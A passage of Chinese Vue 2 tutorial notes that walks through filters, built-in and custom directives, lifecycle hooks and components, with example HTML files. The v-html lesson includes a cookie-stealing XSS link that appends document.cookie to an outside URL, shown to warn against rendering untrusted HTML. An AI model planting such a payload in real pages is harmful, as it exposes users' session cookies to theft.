				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

039_尚硅谷Vue技术_过滤器(非必需)

Season总结

		过滤器:
			定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
			语法:
					1.注册过滤器(全部or局部):Vue.filter(name,callback) 或 new Vue{filters:{}}
					2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
			备注:
					1.过滤器也可以接收额外参数、多个过滤器也可以串联
					2.并没有改变原本的数据, 是产生新的对应的数据

dayjs请见链接https://blog.csdn.net/halo1416/article/details/124298324
装饰器的默认输入参数为修饰符|前面的返回值。

课程

过滤器.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 
			过滤器:
				定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
				语法:
						1.注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
						2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注:
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是:{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是:{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是:{{time | timeFormater}}</h3>
			<!-- 过滤器实现(传参) -->
			<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好,尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>
</html>

040_尚硅谷Vue技术_v-text指令

Season总结

			我们学过的指令:
					v-bind	: 单向绑定解析表达式, 可简写为 :xxx
					v-model	: 双向数据绑定
					v-for  	: 遍历数组/对象/字符串
					v-on   	: 绑定事件监听, 可简写为@
					v-if 	 	: 条件渲染(动态控制节点是否存存在)
					v-else 	: 条件渲染(动态控制节点是否存存在)
					v-show 	: 条件渲染 (动态控制节点是否展示)
			v-text指令:
					1.作用:向其所在的节点中渲染文本内容。
					2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

课程

1.v-text_指令.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
					我们学过的指令:
							v-bind	: 单向绑定解析表达式, 可简写为 :xxx
							v-model	: 双向数据绑定
							v-for  	: 遍历数组/对象/字符串
							v-on   	: 绑定事件监听, 可简写为@
							v-if 	 	: 条件渲染(动态控制节点是否存存在)
							v-else 	: 条件渲染(动态控制节点是否存存在)
							v-show 	: 条件渲染 (动态控制节点是否展示)
					v-text指令:
							1.作用:向其所在的节点中渲染文本内容。
							2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

041_尚硅谷Vue技术_v-html指令

Season总结

			v-html指令:
					1.作用:向指定节点中渲染包含html结构的内容。
					2.与插值语法的区别:
								(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
								(2).v-html可以识别html结构。
					3.严重注意:v-html有安全性问题!!!!
								(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
								(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				v-html指令:
						1.作用:向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别:
									(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意:v-html有安全性问题!!!!
									(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

042_尚硅谷Vue技术_v-cloak指令

Season总结

			v-cloak指令(没有值):
					1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
					2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		
		<h2 v-cloak>{{name}}</h2>

课程

3.v-cloak_指令.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 
				v-cloak指令(没有值):
						1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

043_尚硅谷Vue技术_v-once指令

Season总结

		v-once指令:
					1.v-once所在节点在初次动态渲染后,就视为静态内容了。
					2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

课程

4.v-once_指令.html
在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-once指令:
						1.v-once所在节点在初次动态渲染后,就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

044_尚硅谷Vue技术_v-pre指令

Season总结

		v-pre指令:
				1.跳过其所在节点的编译过程。
				2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

课程

5.v-pre_指令.html
在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			v-pre指令:
					1.跳过其所在节点的编译过程。
					2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

047_尚硅谷Vue技术_自定义指令_总结

Season总结

			需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
			需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
			自定义指令总结:
					一、定义语法:
								(1).局部指令:
											new Vue({															new Vue({
												directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
											}) 																		})
								(2).全局指令:
												Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

					二、配置对象中常用的3个回调:
								(1).bind:指令与元素成功绑定时调用。
								(2).inserted:指令所在元素被插入页面时调用。
								(3).update:指令所在模板结构被重新解析时调用。

					三、备注:
								1.指令定义时不加v-,但使用时要加v-;
								2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

关键点1:自定义指令没有返回值,靠2个参数的赋值实现,如element.innerText = binding.value*10
关键点2:big(element,binding)中,element是指实际DOM,binding是指绑定的span中的属性。
在这里插入图片描述
关键点3:big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
关键点4:bind–指令与元素成功绑定时(一上来),inserted–指令所在元素被插入页面时,update–指令所在的模板被重新解析时。
关键点5:自定义指令函数式只有bind和update,自定义指令对象式可以有inserted。
关键点6:自定义指令名称应该写成字符串,并用-分割。

<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>

				'big-number'(element,binding){
					element.innerText = binding.value * 10
				}, 

关键点7:directives里面不维护vm,所以this带不出vm,this只能带出windows。
关键点8:全局指令

		//定义全局指令
		Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

课程

1.自定义指令.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
				自定义指令总结:
						一、定义语法:
									(1).局部指令:
												new Vue({															new Vue({
													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
												}) 																		})
									(2).全局指令:
													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

						二、配置对象中常用的3个回调:
									(1).bind:指令与元素成功绑定时调用。
									(2).inserted:指令所在元素被插入页面时调用。
									(3).update:指令所在模板结构被重新解析时调用。

						三、备注:
									1.指令定义时不加v-,但使用时要加v-2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

在这里插入图片描述
v-big="n"的n是value

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的值是:<span v-text="n"></span></h2>
			<h2>放大10倍后的n值是:<span v-big="n"></span></h2>			
			<button @click="n++">点我n+1</button>
			<hr/>
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false


		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				big(element,binding){
					console.log('element',element)
					console.log('binding',binding)
					element.innerText = binding.value*10
				}
			}

		})
		
	</script>
</html>

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的值是:<span v-text="n"></span></h2>
			<h2>放大10倍后的n值是:<span v-big="n"></span></h2>			
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false


		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				big(element,binding){
					console.log('element',element)
					console.log('binding',binding)
					element.innerText = binding.value*10
				},
				fbind:{
					bind(element,binding){
						console.log('element--bind',element)
						element.value = binding.value * 10
					},
					inserted(element,binding){
						element.focus()
					},
					update(element,binding) {
						element.value = binding.value * 10
					},

				}
			}

		})
		
	</script>
</html>

全局注册对象式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的值是:<span v-text="n"></span></h2>
			<h2>放大10倍后的n值是:<span v-big="n"></span></h2>			
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		Vue.directive('fbind',{
			bind(element,binding){
						console.log('element--bind',element)
						element.value = binding.value * 10
					},
					inserted(element,binding){
						element.focus()
					},
					update(element,binding) {
						element.value = binding.value * 10
					},
		})


		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				big(element,binding){
					console.log('element',element)
					console.log('binding',binding)
					element.innerText = binding.value*10
				},
				// fbind:{
				// 	bind(element,binding){
				// 		console.log('element--bind',element)
				// 		element.value = binding.value * 10
				// 	},
				// 	inserted(element,binding){
				// 		element.focus()
				// 	},
				// 	update(element,binding) {
				// 		element.value = binding.value * 10
				// 	},

				// }
			}

		})
		
	</script>
</html>

048-052 生命周期

Season总结

			生命周期:
					1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
					2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
					3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
					4.生命周期函数中的this指向是vm 或 组件实例对象。

			常用的生命周期钩子:
					1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
					2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

			关于销毁Vue实例
					1.销毁后借助Vue开发者工具看不到任何信息。
					2.销毁后自定义事件会失效,但原生DOM事件依然有效。
					3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

关键点1:用methods方法来计时,并用插值方式实现,会导致模板一直在刷新。
关键点2:()箭头函数往外找this。
关键点3:常用的是mounted、beforeDestroy、destroy
关键点4:虚拟DOM保存在vm.el上
关键点5:使用template属性,可以不写HTML。这一点跟组件很像。

			template:`
				<div>
					<h2>当前的n值是:{{n}}</h2>
					<button @click="add">点我n+1</button>
				</div>
			`,

关键点6:销毁后自定义事件会失效,但原生DOM事件依然有效。
关键点7:debugger可以停住代码。
关键点8:vm的一生
在这里插入图片描述
关键点9:设定定时器用setInterval(),消除定时器用clearInterval()。

1.引出生命周期.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				生命周期:
						1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
						2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
						3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
						4.生命周期函数中的this指向是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-if="a">你好啊</h2>
			<h2 :style="{opacity}">欢迎学习Vue</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
			el:'#root',
			data:{
				a:false,
				opacity:1
			},
			methods: {
				
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
			mounted(){
				console.log('mounted',this)
				setInterval(() => {
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
		})

		//通过外部的定时器实现(不推荐)
		/* setInterval(() => {
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
	</script>
</html>

在这里插入图片描述

2.分析生命周期.html

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是:{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>
</html>

在这里插入图片描述

3.总结生命周期.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				常用的生命周期钩子:
						1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
						2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

				关于销毁Vue实例
						1.销毁后借助Vue开发者工具看不到任何信息。
						2.销毁后自定义事件会失效,但原生DOM事件依然有效。
						3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})

	</script>
</html>

在这里插入图片描述

053_尚硅谷Vue技术_对组件的理解

课程

在这里插入图片描述
在这里插入图片描述
2.1.1. 模块
理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
为什么:js 文件很多很复杂
作用:复用 js,简化 js 的编写,提高 js 运行效率

2.1.2. 组件
定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
为什么:一个界面的功能很复杂
作用:复用编码,简化项目编码,提高运行效率

2.1.3. 模块化
当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用

2.1.4. 组件化
当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用

054_尚硅谷Vue技术_非单文件组件

Season总结

		Vue中使用组件的三大步骤:
				一、定义组件(创建组件)
				二、注册组件
				三、使用组件(写组件标签)

		一、如何定义一个组件?
					使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
					区别如下:
							1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
							2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
					备注:使用template可以配置组件结构。

		二、如何注册组件?
						1.局部注册:靠new Vue的时候传入components选项
						2.全局注册:靠Vue.component('组件名',组件)

		三、编写组件标签:
						<school></school>

关键点1: //第二步:全局注册组件Vue.component(‘hello’,hello)要在创建Vue之前。

课程

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			Vue中使用组件的三大步骤:
					一、定义组件(创建组件)
					二、注册组件
					三、使用组件(写组件标签)

			一、如何定义一个组件?
						使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
						区别如下:
								1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
								2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
						备注:使用template可以配置组件结构。

			二、如何注册组件?
							1.局部注册:靠new Vue的时候传入components选项
							2.全局注册:靠Vue.component('组件名',组件)

			三、编写组件标签:
							<school></school>
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//第一步:创建school组件
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步:创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步:创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步:全局注册组件
		Vue.component('hello',hello)

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊!'
			},
			//第二步:注册组件(局部注册)
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

在这里插入图片描述

Season实践

在这里插入图片描述

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<school></school>
			<hello></hello>
			<student></student>
		</div>

	</body>

	<script>
		Vue.config.productionTip = false

		const school = Vue.extend({
			template:`
			<div class='demo'>
				<h2>学校名称:{{schoolName}}</h2>
				<h2>学校地址:{{address}}</h2>
				<button @click="showName()">点我提示学校名</button>
			</div>
			`,
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平',
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		const student = Vue.extend({
			template:`
			<div>
				<h2>学生姓名:{{studentName}}</h2>
				<h2>学生年龄:{{age}}</h2>
			</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18,
				}
			}
		})

		const hello = Vue.extend({
			template:`
			<div>
				<h2>你的名字是{{name}}</h2>
			</div>
			`,
			data(){
				return {
					name: 'tom',
				}
			}
		})

		Vue.component('hello',hello)

		new Vue({
			el:'#root',
			components:{
				school,
				student,
			}
		})
	</script>
</html>

055_尚硅谷Vue技术_组件的几个注意点

Season总结

		几个注意点:
				1.关于组件名:
							一个单词组成:
										第一种写法(首字母小写):school
										第二种写法(首字母大写):School
							多个单词组成:
										第一种写法(kebab-case命名):my-school
										第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
							备注:
									(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
									(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

				2.关于组件标签:
							第一种写法:<school></school>
							第二种写法:<school/>
							备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

				3.一个简写方式:
							const school = Vue.extend(options) 可简写为:const school = options

关键点1:可以使用name配置项指定组件在开发者工具中呈现的名字。
在这里插入图片描述

课程

2.几个注意点.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			几个注意点:
					1.关于组件名:
								一个单词组成:
											第一种写法(首字母小写):school
											第二种写法(首字母大写):School
								多个单词组成:
											第一种写法(kebab-case命名):my-school
											第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
								备注:
										(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
										(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

					2.关于组件标签:
								第一种写法:<school></school>
								第二种写法:<school/>
								备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

					3.一个简写方式:
								const school = Vue.extend(options) 可简写为:const school = options
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义组件
		const s = Vue.extend({
			name:'atguigu',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			}
		})

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习Vue!'
			},
			components:{
				school:s
			}
		})
	</script>
</html>

Season实操

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>几个注意点</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h1>{{msg}}</h1>
			<my-school></my-school>
		</div>




	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const myschool = Vue.extend({
			// name:'atguigu',
			template:`
			<div>
				<h1>学校名字:{{schoolname}}</h1>
				<h1>学校地址:{{address}}</h1>
			</div>
			`,
			data(){
				return{
					schoolname:'尚硅谷',
					address:'北京',
				}
			}

		})

		new Vue({
			el:'#root',
			data:{
				msg:'去尚硅谷学习vue',
			},
			components:{
				'my-school':myschool,
			}
		})

	</script>
</html>

056_尚硅谷Vue技术_组件的嵌套

动手实践即可。

Season总结

关键点1:student组件要在school组件前面。
关键点2:理解嵌套关系
